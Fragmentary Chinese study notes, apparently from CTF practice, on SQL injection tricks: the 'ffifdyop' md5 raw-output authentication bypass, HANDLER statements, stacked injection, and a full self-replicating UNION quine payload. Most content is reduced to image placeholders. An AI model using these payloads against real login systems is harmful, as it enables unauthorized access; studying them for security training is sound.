md5("str",true)注入

Image.png
Image.png
Image.png
Image.png

  • 与sql语句造成的万能密码原理相似, ffifdyop在进行md5(true)编码成16位原始二进制串的时候会产生'or'......
  • 如果后端是这样
    Image.png
  • 那么执行就会
    Image.png
  • 如果后端是判断返回列数是否非空,那么就产生了万能密码的效果
    Image.png

handler ... open;handler ... read first[next];

Image.png
Image.png


堆叠注入

Image.png
Image.png
Image.png


SQL执行后等于自己

'UNION(SELECT(REPLACE(REPLACE('"UNION(SELECT(REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")))#',CHAR(34),CHAR(39)),CHAR(63),'"UNION(SELECT(REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")))#')))#